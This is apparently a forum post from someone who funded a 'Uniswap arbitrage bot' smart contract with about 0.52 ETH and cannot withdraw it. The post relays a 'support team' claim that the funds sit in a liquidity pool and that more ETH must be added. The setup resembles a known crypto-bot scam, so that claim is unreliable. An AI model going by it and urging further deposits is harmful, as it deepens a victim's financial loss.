I recently deployed a smart contract bot designed to perform arbitrage on Uniswap. The bot was supposed to start operating once it received a minimum of 1 ETH. Unfortunately, I mistakenly funded the contract with only 0.52484742 ETH and now I’m unable to retrieve my funds.
Here’s the sequence of actions I took:
- Deployed the smart contract.
- Funded it with 0.52484742 ETH.
- Attempted to start the bot, but it didn’t activate due to the insufficient balance.
- Tried to withdraw the funds, but the transaction shows a successful withdrawal of 0 ETH.
The support team mentioned that the ETH is currently in a liquidity pool and that I need to add more ETH to reach the 1 ETH minimum for the bot to start. However, I don’t have the additional funds and am concerned about potentially losing what I already deposited.
Is there a way to modify the contract or take another action to recover the 0.52484742 ETH that is currently locked in the liquidity pool? This is my CA:0xaBBcCEC2F0550c23efeeBAAC591a627c901DFFE5
